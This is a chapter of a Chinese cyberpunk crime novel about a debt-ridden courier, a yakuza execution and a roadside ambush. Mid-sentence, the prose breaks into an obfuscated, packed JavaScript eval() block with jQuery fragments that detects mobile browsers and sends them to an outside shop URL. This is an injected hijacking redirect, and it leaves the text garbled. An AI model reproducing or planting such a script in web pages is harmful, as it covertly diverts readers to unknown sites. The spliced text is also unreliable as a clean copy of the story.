符瑞亚第二天早上是被电话铃声吵醒的,一开始本还想再挣扎下,但因为对方的契而不舍和窗外艳阳高照,她不得不爬起来。
今天是周日,屋里又只剩下她一个人。
“今晚去亨茨点码头给我取一批货,这趟给你五百。”李婆婆的声音苍老,但语气却不容置喙。
!!!五百!
听到这惊天巨款,她眼睛瞬间瞪大,原本的瞌睡虫全跑了。
“没问题!交给我!”她拍胸脯连连保证,生怕到手的工作飞走。
就在电话即将被挂断的时候,符瑞亚突然反应过来急忙问了句:“晚上我要取什么货?时间定在几点?”
她只知道亨茨点码头会接驳一些水果蔬菜船,还有处理碎石沙子建筑材料的业务,但李婆婆总不会让她拉一箱苹果回来吧?
对面沉默片刻,直到她都怀疑是不是信号断掉的时候,李婆婆才说:“小姑娘,知道太多秘密的人是活不长的。”这话里警告之意十分明显。
反应了一会,她才意识到也许刚才的询问是越界了,但还没等她说什么找补,李婆婆就迅速结束对话:“晚上到我这来,会有人和你一起行动。”
“嘟嘟嘟”,耳边只剩下电话挂断后的忙音。
符瑞亚看了眼手环,又想着自己即将到手的报酬,只用一秒钟就原谅了李婆婆无礼的行为。
去餐桌上倒了杯水,她边小口小口抿,边翻手环上的未读消息。
第一条:「恭喜泰坦科技提玛市第五区义体回收组第536号员工——符瑞亚正式入职,欢迎您加入泰坦科技大家庭。
请您于周一早上九点抵达第五区泰坦大楼,在进行全面体检后办理入职手续。」
上班、上班又是上班,她痛苦地闭上眼。都是为了赚点窝囊费养家糊口,哪有几个打工人会真喜欢上班?
果断划过这一条,她看向下一条未读消息。
「昨日工资已到账867元。」
!!!是暴恐机动队给她发工资了。
虽然她昨天没有去上班,但是这份工作入职协议上写的就是每天发一千元薪水,毕竟员工死亡率在那摆着那,没有高薪更不会有人愿意去了。
今天入账867,加上昨天就是1734,而她现在背负的债务......
每天掰着指头算一遍自己的收入和背负的债务已经成为她的例行事务。直到最后算出她月底还有48800的债要还,她的好心情才被打散得稀巴烂。
所以无论如何还是要多赚些钱啊。
想着这些符瑞亚又闭上眼睡了过去,反正离晚上取货还远得很。
——
周日夜里九点,极道内部聚会。
和室灯光昏黄,烟雾从香炉里升起变成灰蓝色的丝线。障子门上的和纸已经发黄,右下角还有拳头大的血液污渍,边缘晕染进纸里像是一朵腐烂的花。
墙上那幅浮世绘是投影,海浪边缘微微抖动,画中的浪尖悬在小船之上。
小船快要翻到,摇摇欲坠。
萤原千鹤子从进来的第一刻起就觉得有些不对劲,心里莫名想起了昨天那女人说的话——突然怀旧的人不是老了就是快要死了。
山本骏盘腿坐着,手放在酒杯边,右手食指外侧有一刀很深的疤,此刻正在桌子上画圈。端起清酒喝了一口,他喉结滚动,放下杯子时发出一声轻响,随后笑道:“八尺姬来了。”
明明左手扣在右手手背上,规规矩矩搁在膝头,可她的指尖却在不受控制地发抖。山本骏教给她的第一课就是瞳孔收缩时会出卖一个人的恐惧,所以她没有垂眸只是努力平静地与其对视。
“老爹......您叫我来是有何事?”
山本骏大笑出声,“当初可是老爹把你带回极道的,现在老爹还不能叫你来吃个饭了吗?”
小腿压在榻榻米上久了开始发麻,但萤原千鹤子此时却没有心思去想这些,她满脑子只有一个念头:她偷赫多涅,杀佐藤的事一定被发现了。
可她做的明明不留一点痕迹,山本骏到底是怎么发现的?
突然间她双手攥紧指甲抠进掌心:会是符瑞亚吗?此人当初在公寓走廊亲眼看到她对佐藤出手,而且从周五晚上起就住进她家中。
是了,只有符瑞亚有可能将此事告诉佐藤。
她开始有些后悔,后悔自己居然会突发善心,为什么当时没有杀了那个女人?
不过既然事情已经发生,再揪着过去不放也没意思,倒不如想想自己现下要如何表演才能脱困。
但她其实隐隐有一种预感——今天就是她的死期。
外面水珠一滴一滴砸在石臼里,加湿器工作时在模拟鹿威竹筒敲击石头的声音。一滴之后隔了很久才会有下一滴敲在她心上。
这张桌子上只有她和山本骏两个人,但不远处的另一张桌旁围坐着不少极道成员,每个人都露出有着强悍力量的机械义肢。
山本骏挑眉将一杯酒推到萤原千鹤子面前,杯子是陶瓷质地,杯口有一圈陈年茶褐色痕迹。酒液是透明的,可她却只死死盯着杯底沉着的几粒尚未融化的盐晶。
看着这杯断头酒,这一刻她明白了:所谓的聚会就是对自己的集体处决。
旁边桌上的笑声骤然停止,像是被人凭空掐断,所有人都目不转睛地盯着她和山本骏。
“八尺姬,你不喝吗?”
萤原千鹤子苦笑着摇了摇头,“原来您都知道了啊。”
山本骏双手放在腿上,闭上眼说:“有人找到了佐藤的尸体,被强酸腐蚀得不成样子。是你做的吧?”
“老爹觉得呢?”哪怕到了这个时候,她都没有承认。
山本骏嘴唇向两侧拉开:“把赫多涅交出来,那样我就可以给你一种不那么痛苦的死法。”
细小的盐粒在水中分解成更小的微粒,旋转着沉浮着,变成里六月里只下给她一个人的雪。
“哈哈哈哈哈——”萤原千鹤子大笑出声,笑得被迫弯腰,捂住肚子流出泪花。
撩起和服袖子露出右肩上的一块菱形纹身,她看向山本骏摇了摇头:“我交出来你就不会把我的皮剥下来了吗?我不信。”
正常的处决流程是先赐她切腹自尽。她要自己用白布裹住短刀,在山本骏的面前一点点将刀捅进自己的身体里。
但几乎没有人能坚持到最后,所以这时就会有别人在她身后挥刀斩首,不过会特意留下一层头皮不让头滚下来,维持所谓的最后体面。
果不其然,一个小弟上前递给她一把短刀,“叛徒,请吧。”
眼珠滚动两圈,她接过刀。
但在众人没反应过来之际,反手快准狠地切下来那小弟的半条手臂,伴随着惨叫声,她和山本骏沉默地对视。
最终山本骏紧紧闭上眼不去看她,咬牙切齿地吩咐手下:“把她装桶封上水泥,沉海!”
——
挡风玻璃上布满细密裂纹,车灯只能照亮前方不到二十米的路面,路肩外堆积着生锈的铁桶和各种机械残骸,远处一座废弃化工厂的烟囱戳破天际,顶端暗红色的警示灯一闪一闪。
吸着外面焚烧垃圾的焦臭,符瑞亚坐在驾驶座上握着方向盘,上面的塑料表皮已被磨穿露出里面的金属骨架,车身的每一处接缝都在漏风,底盘下面不时传来嗒嗒声。
她不由得暗自感叹:这可真是辆破车。
偏头问向副驾驶坐着的男人:“你怎么称呼?”
“连淮。”
“我们这是开去哪?亨茨点港吗?我们要取的货是什么?是从大西洋走海路运过来的吗?”
连淮:“是。”
???明明她一口气问了四个问题,这个“是”回答的是哪个?
这人明明年纪轻轻怎么却比她外公还老成?
悄悄翻了个白眼,符瑞亚放弃了向这个人机套话,只专心看向前方路况,毕竟这车太破没有自动驾驶模式。
过了几个路灯后,旁边驶来一辆车和她并行。
那车是流线型车身,外壳漆黑光滑看着就很贵。两相对比,她再次在心底吐槽起李婆婆的抠搜来。
对面车窗缓缓降下,一只手伸出搭在车窗边缘,食指有节奏地敲击车门。一开始她并未在意,因为这一路上遇到的车虽然不多但也不算少。但直到微微偏头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739033|208723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扫向那车的副驾驶......
符瑞亚失神一瞬,方向盘没控制好车子骤然偏航,“刺啦”一声她猛踩刹车,滑行了些距离才停住。
那人是极道的大岳丸?就是跟着萤原千鹤子去铃木店里收保护费的那个男人。
这条路的前方只能通向亨茨点港口,没有其他的岔路了。但这个时间点他开车去亨茨点港口做什么?李婆婆可说过,这个时间只有她们的船停泊。
大岳丸在车里,那么开车的那个人会是萤原千鹤子吗?
联想起李婆婆曾说过和极道抢占黑市的义体交易之事,那会不会是自己的好室友偷看过她的手环,所以带着极道的人去截货了?
越想越觉得这种可能性越大,不顾连淮的质问,符瑞亚迅速启动车子向前追赶,越是危机的情况她神色越是冷静:“前面那辆是极道的车——我怀疑很有可能是抢先去截我们的货的。”
虽然这五百块的工资不值得她为了李婆婆拼命,但传个消息还是在职责范围内。
突然听到惊天消息,连淮嘴巴微张连忙追问:“你怎么知道?”
“都什么时候了,等我跟你解释完黄花菜都凉了。快找外援啊!”她大声吼出来。
许是被她这语气吓了一跳,连淮呆愣愣地低头发消息报给李婆婆。
没让二人等太久,李婆婆回复的很快只有一句话:「港口的货必须拿到」。
这话的意思就是不惜任何代价,哪怕和极道正面冲突也无所谓。
还没等两人商量出个对策,李婆婆又追加了第二条消息:「要是成功取回到货,每人多发两千块奖金。」
???两千块。
那还说什么了?
不管那批货是什么,哪怕是个原子弹她也得平平安安地运回李婆婆那。
“坐稳了。”符瑞亚边对连淮说,边将车速提到最大,还好那辆车一看就不着急,不然她就算是把油门踩凹下去也是追不上了。
于是现在的情形变成了她的车紧紧地贴在前车屁股后,稍一走神就有追尾的风险。
“他们能看出我们是想聊聊的意思吗?”连淮抱着安全带艰难地问。
但还没等到她的回答,变故陡升。
“咣当”一声,整个世界突然开始倾斜翻滚,安全带在她眼前乱晃,挡风玻璃破碎,天窗颠倒布满裂痕,钢铁龙骨扭曲断裂发出尖啸。
而前方大岳丸的车居然停下了。
安全带狠狠勒紧符瑞亚的肩膀,巨大冲击力将她抛起拉扯,后背狠狠撞击座椅。破碎的玻璃渣扎进她的手臂。
她的车突然被一股巨力翻倒,像是一只露出腹部的夹克虫。
整个人倒吊在车里,额头上的血迹“滴答滴答”蜿蜒而下,黏腻又温热。额前碎发狼狈地黏在皮肤上,脸上都是汗水和血污,她品尝着自己血液的味道,缓缓睁开沉重的眼皮。
车内空间变得狭小,因为失血过多她的意识变得昏昏沉沉,她微微侧头睁开沉重的眼皮,眯眼看向身旁的连淮。
一根钢筋直直从他腹部扎入,刺了个对穿。
她的同事死了,现在只剩下她一个人了。
刚才到底发生了什么......
破碎的车窗外,大岳丸先从副驾驶下车,而后毕恭毕敬地打开后座门,抬手请出了一个......小女孩?
符瑞亚眯起眼睛有点不敢相信。那女孩有八岁吗?
女孩穿着一身浅色和服,一张脸在月色下显得更为单纯无害。
“先知......”大岳丸,那一个身高近两米的壮汉正躬身低头乖顺地等待女孩的下一步指示。
女孩不顾阻拦向她走近几步,而后皱着眉,歪头用食指指着她说:“你是我遇到过的唯一一个……让我无法看清的人。”
随后女孩又笑起来:“不管你身上有什么特别之处,你今天都要死在这。”
“真的很可惜,遇到我只能算是你命不好。”
用木屐一点点碾碎脚边的土块,女孩才对大岳丸勾了勾手,而后轻蔑道:“这女人有问题。”
“杀了她。”
“动手,就现在。”